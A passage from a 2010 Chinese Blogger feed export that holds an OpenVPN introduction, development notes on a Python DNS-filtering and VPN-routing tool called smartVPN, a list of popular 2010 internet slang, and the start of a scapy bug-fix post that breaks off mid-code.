href='http://guradian.blogspot.com/2010/11/debianubuntuopenvpn.html' title='Debian/Ubuntu下搭建OpenVPN与客户端配置教程'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-1258815987407233217</id><published>2010-11-22T09:11:00.000+08:00</published><updated>2010-11-22T09:11:51.306+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>OpenVPN 简介</title><content type='html'>OpenVPN 是一个具备完全特征的SSL VPN解决方案，能够进行大范围的配置操作，包括远程访问、站点-站点间VPN、WiFi安全及企业级远程访问解决方案，支持负载均衡，错误恢复及细粒度的访问控制。&lt;br /&gt;&lt;br /&gt;OpenVPN通过使用工业标准SSL/TLS协议 实现了OSI 2层及3层安全网络扩展，支持灵活的基于证书、智能卡的客户端认证方法，允许通过在VPN虚拟接口上应用防火墙规则实现用户及组访问控制策略。 OpenVPN并非一个Web应用代理，也不能通过Web浏览器进行操作。&lt;br /&gt;&lt;br /&gt;作为一个不错的关于OpenVPN的概念介绍，可以参考James Ynan在Linux Fest Northwest 上2004年发表的程序注释――理解用户空间VPN：历史、概念基础及实际应用(Understanding the User-Space VPN: History, Conceptual Foundations, and Practical Usage)。也可以参考Charlie Hosner的OpenVPN及SSL VPN革命(OpenVPN and the SSL VPN Revolution)。&lt;br /&gt;&lt;br /&gt;OpenVPN 是一个开源项目，遵从GPL许可协议。商业许可对重新发布其基于OpenVPN的应用程序的公司也有效。获得更多信息请联系info@openvpn.net。&lt;br /&gt;&lt;br /&gt;OpenVPN 能够运行于Linux、Windows 2000/XP及更高版本、OpenBSD、FreeBSD、NetBSD、Mac OS X及Solaris平台。&lt;br /&gt;&lt;br /&gt;通过OpenVPN，你可以：&lt;br /&gt;&lt;ol&gt;&lt;li&gt;在任意IP局部网络或虚拟以太网适配器上通过单个UDP或TCP端口建立隧道；&lt;/li&gt;&lt;li&gt;使用一或多台机器配置可裁剪的、负载均衡的VPN服务器群以处理成千上万的来自VPN客户端的动态连接；&lt;/li&gt;&lt;li&gt;能够使用在OpenSSL库中所提供所有的加密、认证及证书特性以保护私有网络在Internet网络上的数据传输；&lt;/li&gt;&lt;li&gt;使用OpenSSL库所支持的任意加密算法、密钥长度或HMAC数字签名(用于数据报完整性检查)；&lt;/li&gt;&lt;li&gt;先把基于静态密钥传统加密方法或基于证书的公钥加密方法；&lt;/li&gt;&lt;li&gt;使用静态、预先公有的密钥或基于TLS的动态密钥交换；&lt;/li&gt;&lt;li&gt;使用实时的自适配压缩及流量整形以管理链路带宽分配；&lt;/li&gt;&lt;li&gt;为动态公共点（如DHCP或拨号客户端）提供隧道传输；&lt;/li&gt;&lt;li&gt;无需显示定义防火墙规则为面向连接的防火墙提供网络隧道传输；&lt;/li&gt;&lt;li&gt;基于NAT的网络隧道；&lt;/li&gt;&lt;li&gt;通过虚拟的tap设备创建安全的以太网桥；&lt;/li&gt;&lt;li&gt;在Windows或Mac OS X系统上通过GUI界面控制OpenVPN。&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;OpenVPN与其它VPN有何区别？&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OpenVPN的主要特征包括跨平台的可移植性、优秀的稳定性、成百上千或成千上个客户端支持的可伸展性、相对简单的安装过程、支持动态IP地址及NAT。&lt;br /&gt;&lt;br /&gt;OpenVPN 提供一个设计为易于针对站点定制的可扩展的VPN框架，例如提供发布自定义安装包到客户端，或通过OpenVPN插件模块接口支持可选的认证方法(例如 openvpn-auth-pam 模块允许OpenVPN使用任意PAM认证方法认证客户端，这种方法可以单独使用，也可以与基于X509证书结合使用以进行认证)。&lt;br /&gt;&lt;br /&gt;OpenVPN 提供一个管理接口，可以用于远端控制或中央控制一个OpenVPN守护进程。管理接口也可以用于开发基于GUI或web的前端应用程序。&lt;br /&gt;&lt;br /&gt;在Windows平台上，OpenVPN能够使用Windows Crypto API从智能卡上读取证书或私钥。&lt;br /&gt;&lt;br /&gt;OpenVPN 使用设计用于可保护被动攻击和主动攻击的工业强度的安全模型。OpenVPN的安全模型基于SSL/TLS进行会话认证及使用IPSec ESP协议用于基于UDP的安全隧道传输。OpenVPN支持X509 PKI (public key infrastructure)用于会话认证，TLS协议用于密钥交换，OpenSSL的加密算法无关的EVP接口用于加密隧道数据，HMAC-SHA1 算法用于认证隧道数据。&lt;br /&gt;&lt;br /&gt;OpenVPN建立为可移植的， OpenVPN可以运行于Linux、Solaris、OpenBSD、FreeBSD、NetBSD、Mac OS X及Windows 2000/XP，因为OpenVPN作为用户空间守护进程编写而非内核模块或对IP层的复杂变更，移植操作的简易性是值得留意的。&lt;br /&gt;&lt;br /&gt;OpenVPN易于使用，通常，一个隧道的建立和配置可以通过一个单独的命令完成（无需任何必要的配置文件）。OpenVPN文档包含了的示例进行了详细解释。&lt;br /&gt;&lt;br /&gt;OpenVPN 经过严格设计，并在不可靠的网络中进行了强度测试。OpenVPN的一个主要的设计目标就是在正常操作和错误恢复情况下IP层都能够快速响应。这意味着如果IP层断开5分钟，当它再次恢复时，隧道流量能够立即恢复，即使动态密钥交换在这期间已经过期。&lt;br /&gt;&lt;br /&gt;OpenVPN 有着健壮的模块设计。所有加密都由OpenSSL库处理，所有IP隧道功能都由TUN/TAP虚拟网络驱动提供。&lt;br /&gt;&lt;br /&gt;模块化的好处是显而易见的，例如，OpenVPN可以与新版本的OpenSSL库动态链接并立即能够使用其在新版本中所提供的新功能。例如，当 OpenVPN基于最后版本的OpenSSL(0.9.7)编译时，它能够使用新的加密算法，如AES-256(高级加载标准,256位密钥)，以及 OpenSSL特定目的的硬件加速器优化加密、解密及认证性能的加密引擎功能。&lt;br /&gt;&lt;br /&gt;同样地，OpenVPN的用户空间设计易于移植到任何包含TUN/TAP虚拟网络驱动的OS中。&lt;br /&gt;&lt;br /&gt;OpenVPN 运行速度很快，在Pentium II 266MHz机器上运行Redhat 7.2 ，使用基于TLS的认证方法，Blowfish加密算法，SHA1 用于隧道数据认证，当隧道传输一个巨大的，经过预先压缩文件的FTP会话时，OpenVPN达到了每秒(CPU时间，包括内核及用户态时间)1.455MB的收/发传输速度。&lt;br /&gt;&lt;br /&gt;OpenVPN提供了用于控制VPN隧道的安全参数的选项，同时提供了用于保证服务器本身安全的选项，例如—chroot用于限制OpenVPN守护进程能够访问的文件系统部分，–user 及—group选项用于降低守护进程在初始化之后的优先级，–mlock用于确认密钥原始内容及隧道数据从不被分页到磁盘上，从而避免被后期恢复。&lt;br /&gt;&lt;br /&gt;为什么先把TLS作为OpenVPN的根本认证及密钥协商协议呢？TLS是SSL协议族的最后成果，最初由Netscape开发用于他们最初的安全 web浏览器。多年来，TLS及其SSL前身已经在web上得到了广泛应用，并得到了深入的弱点分析。这些分析使得它不断被加强，从而形成如今的协议，SSL/TLS被认为是最强壮及最成熟的安全协议之一。因此，我们相信TLS是作为VPN产品认证及密钥交换机制的极好的先把。&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;OpenVPN 支持IPSec或PPTP吗？&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;目前被广泛应用的VPN实现中有三个主流：SSL、IPSec及PPTP。OpenVPN是一个SSL VPN，因此并不与IPSec、L2TP或PPTP兼容。&lt;br /&gt;&lt;br /&gt;IPSec协议设计为内核空间IP栈的修正，不同的操作系统需要其自身的IPSec实现。&lt;br /&gt;&lt;br /&gt;相对而言，OpenVPN的用户空间实现允许跨操作系统及处理器体系、防火墙及NAT友好操作、动态地址支持、多协议支持(包括协议桥接)的移植。&lt;br /&gt;&lt;br /&gt;优点与缺点并存，OpenVPN的主要优点在于可移植、易于配置及与NAT和动态地址兼容。OpenVPN的安装和使用与其它安全相关的守护进程软件，例如SSH相似。&lt;br /&gt;&lt;br /&gt;由于历史因素，IPSecr的优点在于获得了众多厂商的支持，虽然OpenVPN也逐渐开始致力于硬件设备的支持。&lt;br /&gt;&lt;br /&gt;PPTP协议的优点在于其在Windows平台预装了客户端，密码分析专家已经透露了其安全弱点。&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;OpenVPN符合标准吗？&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;作为一个用户空间VPN守护进程，OpenVPN与SSL/TLS、RSA证书及X509 PKI、NAT、DHCP及TUN/TAP兼容。&lt;br /&gt;&lt;br /&gt;OpenVPN与IPSec、IKE、PPTP或L2TP并不兼容。&lt;br /&gt;&lt;br /&gt;Q: OpenVPN 隧道能够基于TCP连接传输吗？&lt;br /&gt;A: 是的，OpenVPN 1.5以上版本均支持基于TCP连接的隧道传输。&lt;br /&gt;&lt;br /&gt;Q: 我是否能够使用web浏览器作为OpenVPN客户端？&lt;br /&gt;A: 不可以，虽然OpenVPN使用SSL/TLS协议用于安全传输，OpenVPN并不是一个Web应用代理。它是一个OSI 2层或3层Internet网络隧道解决方案，要求OpenVPN同时安装于客户端和服务器端。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-1258815987407233217?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/1258815987407233217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=1258815987407233217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1258815987407233217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1258815987407233217'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/openvpn.html' title='OpenVPN 简介'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-7169563444230961919</id><published>2010-11-19T12:48:00.000+08:00</published><updated>2010-11-19T12:48:38.196+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>smartVPN项目开发记录 （四）</title><content type='html'>仔细想了一下，比起把虚假地址指向黑洞外，先将需要代理的地址放入代理更加重要。所以先不考虑黑洞路由的功能了。&lt;br /&gt;&lt;br /&gt;原来的代码换成了多线程去处理后，也老崩溃。自己不懂太多的编程，不过我认为用socket中提供的ThreadingUDPServer比自己去实现肯定要好得多。更改了基本所有代码后，崩溃的情况明显减少。&lt;br /&gt;&lt;br /&gt;代码逻辑部分也调整了一下，原来对于需要代理的域名，也要做本地请求，然后从中剔除污染的地址。如果所有本地返回的结果都是污染过的，那就返回远程服务器的结果。不过后来自己想完全没这必要，对于需要代理的域名，直接使用远程服务器的结果，不需要的使用本地服务器结果。返回的远程结果提取出记录，由另外的线程处理。这样对效率是由提升的（至少我直觉如此）&lt;br /&gt;&lt;br /&gt;而针对可能有很多人使用免费限流的VPN时，可能会同时拥有多个VPN情况（我就是如此），加入了支持多个VPN的功能。比如有A，B，C三个VPN，那么第一条路由指向A,第二条指向B，第三条指向C，第四条指向A……这样可以相对比较均匀的使用多个VPN的流量。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-7169563444230961919?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/7169563444230961919/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=7169563444230961919' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7169563444230961919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7169563444230961919'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/smartvpn_19.html' title='smartVPN项目开发记录 （四）'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8549819829956328559</id><published>2010-11-19T11:20:00.000+08:00</published><updated>2010-11-30T11:24:06.532+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unsorted'/><title type='text'>2010年最热门的十大网络流行语</title><content type='html'>&lt;strong&gt;1、 给力&lt;/strong&gt;&lt;br /&gt;给力读音为，gěi lì，中国北方的土话，表示给劲、带劲的意思。“给力”一词最初的火热源于日本&lt;span class="wp_keywordlink"&gt;&lt;a href="http://www.wuliaoo.com/" target="_blank" title="搞笑"&gt;搞笑&lt;/a&gt;&lt;/span&gt;动漫《&lt;a href="http://www.wuliaoo.com/ri-he-xi-you-ji.html" target="_blank"&gt;搞笑漫画日和之《西游记：旅程的终点》&lt;/a&gt;》中文配音版中悟空的一句抱怨：“这就是天竺吗，不给力啊老湿。”所谓“不给力”就是形容和预想目标相差甚远，而“给力”一般理解为有帮助、有作用、给面子。&lt;br /&gt;&lt;span style="color: green;"&gt;&lt;strong&gt;查看出处&lt;/strong&gt;：&lt;/span&gt;&lt;a href="http://www.wuliaoo.com/ri-he-xi-you-ji.html" target="_blank"&gt;搞笑漫画日和之《西游记：旅程的终点》&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;2、神马都是浮云&lt;/strong&gt;&lt;br /&gt;“神马”并非一匹马，而是“什么”的神马都是浮云谐音。网友们用搜狗输入法打“什么”时，习惯用拼音首字母“S.M”代替，因为打字飞快，常在打“什么” 时打错，打出一个“神马”来，“神马”一词就像曾在网络红极一时的“虾米”一样，走的同样是谐音路线，而这个词语也迅速代替了“虾米”，成了时下最热门的 流行语。浮云的意思即虚无缥缈，转瞬即逝，意为“都不值得一提”。&lt;br /&gt;它的流行源于红遍网络的“小月月”事件，2010年国庆期间，一则名为《感谢这样一个极品的朋友给我带来这样一个悲情的国庆》的帖子中，“小月月”横空出 世，以极其诡异的言行雷倒众生，并让网友们将“神马”和“浮云”联系在了一起，诞生诸如：  “用任何词语来形容她，都根本乏味得很，神马网络豪放女，浮云!都是浮云!”、“小月月还能保持着晕的状态靠在他胸口，神马晕倒无意识论，统统是浮云!  ”的感叹。而“神马”和“浮云”的神奇之处，则是当这两个词结合在了一起，便可组成万能金句，推之四海而风靡。&lt;br /&gt;&lt;span style="color: green;"&gt;&lt;strong&gt;查看出处&lt;/strong&gt;：&lt;/span&gt;&lt;a href="http://www.wuliaoo.com/xiao-yue-yue.html" target="_blank" title="小月月脱水版：极品女小月月游世博完整版更新"&gt;小月月脱水版：极品女小月月游世博完整版更新&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;3、我勒个去&lt;/strong&gt;&lt;br /&gt;“我了个去”（或“我去”）这种用法最近猫扑很流行。可以说是一种调侃式的笑骂的。有种无奈的“我 靠”的意思。 　　就是个叹词，无实际意义，相当于古代的“呜呼哀哉” 　　东北方言 　　来源于日和漫画中 平田的世界，中文配音版。&lt;br /&gt;&lt;span style="color: green;"&gt;&lt;strong&gt;查看出处&lt;/strong&gt;：&lt;/span&gt;&lt;a href="http://www.wuliaoo.com/gao-xiao-ri-he.html" target="_blank" title="搞笑漫画日和之《平田的世界》中文配音版"&gt;搞笑漫画日和之《平田的世界》中文配音版&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;4、ungelivable&lt;/strong&gt;&lt;br /&gt;虽然老外看不懂，但是ungelivable在中国网友中却大受欢迎。“昂给力围脖！”网友们不仅第一时间就弄懂了它的发音，而且举一反三，“不给力是   ungelivable，给力就是gelivable。”“哈哈，这单词实在太gelivable了！”近日，各知名微博对此进行纷纷转载，转发量很快破 万。网友戏称，ungelivable可能是有史以来传播速度最快的英文单词。流行源于网络动画 如果gelivable真被收录进英语词典，  那首先要归功于中文原词“不给力”。据介绍，“给力”一词可能源自东北或闽南方言，有很棒、很精彩的意思，现多用来形容事物“够劲”、“使人振奋”、“感 到力量”等。&lt;br /&gt;&lt;strong&gt;5、羡慕嫉妒恨&lt;/strong&gt;&lt;br /&gt;“羡慕嫉妒恨”，一语五字，蕴含着多么丰富的内容啊！恨源于嫉妒，嫉妒源于羡慕——换言之，恨源于爱，嫉妒源于不如人。对一个人来说，被人嫉妒即等于领受 了嫉妒者最真诚的恭维，是一种精神上的优越和快感；而嫉妒别人，则会或多或少地透露出自己的自卑、懊恼、羞愧和不甘，对自信心无疑是一个打击。学到知羞 处，才知艺不精，一个人正是透过嫉妒这种难于启齿的情感，才真切地意识到了自己的不如人处，临渊羡鱼，不如退而结网。&lt;br /&gt;&lt;strong&gt;6、非常艰难的决定&lt;/strong&gt;&lt;br /&gt;续2010年11月3日晚间腾讯发表了“致广大QQ用户的一封信”称“将在装有360软件的电脑上停止运行QQ软件”，随后网民开始模仿腾讯公开信改写“QQ体”，其中最经典台词为“我们作出了一个非常艰难的决定”令人啼笑皆非。&lt;br /&gt;&lt;span style="color: green;"&gt;&lt;strong&gt;查看出处&lt;/strong&gt;：&lt;/span&gt;&lt;a href="http://www.wuliaoo.com/yi-ge-jian-nan-de-jue-ding.html" target="_blank" title="QQ体：他们做了一个艰难的决定"&gt;QQ体：他们做了一个艰难的决定&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;7、蒜你狠系列&lt;/strong&gt;（豆你玩、姜你军、煤超疯，苹神马……）&lt;br /&gt;2010年11月2日，国家发改委公布了十月份城市食品零售价格监测情况。在监测的31种产品中，近80%价格上涨 食品接连涨价，从“蒜你狠”到“姜你军”，再从“糖高宗”到“油你涨”、“苹什么”接力不断，新词也层出不穷。为了应对，不少人还成了“海豚族”&lt;br /&gt;（海量囤积一族）。就像一副推倒的多米诺骨牌，除了农产品价格集体上涨外，人们发现，有关吃穿住行的价格都在逐渐呈上升趋势，物价因素正在影响着每个人的生活&lt;br /&gt;&lt;span style="color: green;"&gt;&lt;strong&gt;蒜你狠段子&lt;/strong&gt;：&lt;/span&gt;蒜你狠，豆你玩，姜你军，苹什么？油他去！ 铜心协力，铝创新高，金金有味，锌锌向荣，锂直气壮，棉里藏针，糖吉诃德，稀已为常，煤红了，瓜瓜叫，就茶你！之后，鸽子蛋也吃不起了，两月涨价50%，鸽子肉快成格格肉了。！堪称“鸽你肉”。鸽，已不是传说。&lt;br /&gt;&lt;strong&gt;8、有关部门&lt;/strong&gt;&lt;br /&gt;有关部门就是什么都管、什么也都不管的部门。&lt;br /&gt;有了成绩和好处的时候，这些部门就会明确地站出来，这些成绩与其有关，所以好处也应当有份；当出现问题和需要处罚时，这些部门就马上不见了踪影，谁都不知道他们的名字，这样发生的问题就可以找个替罪羊来承担责任。&lt;br /&gt;有关部门的电话号码是 1推625&lt;br /&gt;地址在中国朦胧省模糊市不定大街零号&lt;br /&gt;&lt;strong&gt;9、闹太套&lt;/strong&gt;&lt;br /&gt;英文“not at all”的中文音译。歌手黄晓明在演唱《One World One Dream》时，由于对not at all的发音酷似“闹太套”而遭网友调侃，此词也因此成为网络流行语之一。&lt;br /&gt;&lt;strong&gt;10、亚克西&lt;/strong&gt;&lt;br /&gt;亚克西是什么意思：新疆少数民族维吾尔族语的一句口语，用的比较多,赞赏的意思,可以翻译为”好””不错””优秀”等等 .春晚《幸福生活亚克西》节目。&lt;br /&gt;后被猫扑网友YYBT赋予了新的时代意义，比如，party的政策亚克西，猫扑真欢乐呀亚克西！&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8549819829956328559?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8549819829956328559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8549819829956328559' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8549819829956328559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8549819829956328559'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/2010.html' title='2010年最热门的十大网络流行语'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8406554263075104190</id><published>2010-11-17T16:15:00.000+08:00</published><updated>2010-11-17T16:15:02.334+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>smartVPN项目开发记录 （三）</title><content type='html'>……嗯，这下搞笑了。&lt;br /&gt;&lt;br /&gt;windows居然不支持黑洞路由！google后发现只能在同网络中找一个未使用的地址作为下一条来完成这个功能，但我觉得这个只能人为指定，程序是无法准确判断的。所以……真是杯具啊&lt;br /&gt;&lt;br /&gt;不过去往制定目的地使用VPN的功能倒是完成了。改用线程方式后稳定性提高了很多，但是不是还是出错，烦啊。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8406554263075104190?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8406554263075104190/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8406554263075104190' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8406554263075104190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8406554263075104190'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/smartvpn_429.html' title='smartVPN项目开发记录 （三）'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6818163258664155816</id><published>2010-11-17T13:26:00.000+08:00</published><updated>2010-11-17T13:26:12.170+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>smartVPN项目开发记录 （二）</title><content type='html'>昨天基本搞了一天，有点小结果：&lt;br /&gt;1. 已经能够对域名的返回结果进行判断&lt;br /&gt;2. 使用nslookup来测试已经成功能过滤掉GFW污染的结构&lt;br /&gt;3. 优先返回本地ISP返回的解析结果&lt;br /&gt;&lt;br /&gt;不过测试下来，又发现了如下一些问题：&lt;br /&gt;1. nslookup测试基本无问题，不过实际使用过程中发现经常失去响应，必须重启程序&lt;br /&gt;2. 经常无缘无故的就挂了……&lt;br /&gt;&lt;br /&gt;还有一些设想的功能没有实现：&lt;br /&gt;1. 根据结果增加路由&lt;br /&gt;2. 判断哪些域名需要使用VPN&lt;br /&gt;&lt;br /&gt;对软件开发完全就是一头雾水……试试能不能采用多线程的方式来解决一些问题。至于原因嘛，我也不是很清楚啊……囧&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6818163258664155816?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6818163258664155816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6818163258664155816' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6818163258664155816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6818163258664155816'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/smartvpn_17.html' title='smartVPN项目开发记录 （二）'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-7259679760525043434</id><published>2010-11-17T09:14:00.000+08:00</published><updated>2010-11-17T09:14:35.956+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><title type='text'>中美的大佬汇率战RAP</title><content type='html'>大家慢慢欣赏&lt;br /&gt;&lt;embed src="http://player.56.com/v_NTY1MTE4Njk.swf"  type="application/x-shockwave-flash" width="480" height="395" allowNetworking="all" allowScriptAccess="always"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-7259679760525043434?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/7259679760525043434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=7259679760525043434' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7259679760525043434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7259679760525043434'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/rap.html' title='中美的大佬汇率战RAP'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8204284880688240524</id><published>2010-11-16T10:39:00.015+08:00</published><updated>2010-11-30T13:16:29.527+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>smartVPN项目开发记录 （一）</title><content type='html'>昨天想了想是否能结合autoproxy来动态加入路由（&lt;u&gt;&lt;a href="http://guradian.blogspot.com/2010/11/vpnssh.html" style="color: blue;"&gt;帖子在这里&lt;/a&gt;&lt;/u&gt;），想到有个scapy这个非常不错的库，便想自己尝试一下。&lt;br /&gt;&lt;br /&gt;不过在scapy尝试收发DNS包的时候，发现返回的包在DNS部分显示为Raw load&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Lr7AKaVWcQI/TOHt2rcNx9I/AAAAAAAAAdA/mAWnxYxscAM/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Lr7AKaVWcQI/TOHt2rcNx9I/AAAAAAAAAdA/mAWnxYxscAM/s1600/1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Lr7AKaVWcQI/TOHt1dKhNgI/AAAAAAAAAc8/nDn2uuXIn7s/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="108" src="http://2.bp.blogspot.com/_Lr7AKaVWcQI/TOHt1dKhNgI/AAAAAAAAAc8/nDn2uuXIn7s/s640/2.png" width="560" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;后来调试了好久，发现是pton_ntop.py文件中有问题。查看第63行，居然……错误这么明显，于是自己把它改过来：&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: #999988; font-style: italic;"&gt;60&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;def&lt;/span&gt; &lt;span style="color: #990000; font-weight: bold;"&gt;inet_ntop&lt;/span&gt;(&lt;span style="color: black;"&gt;af&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: black;"&gt;addr&lt;/span&gt;&lt;span style="color: black;"&gt;):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #999988; font-style: italic;"&gt;61&lt;/span&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #bb8844;"&gt;"""Convert an IP address from binary form into text represenation"""&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #999988; font-style: italic;"&gt;62&lt;/span&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="font-weight: bold;"&gt;if&lt;/span&gt; 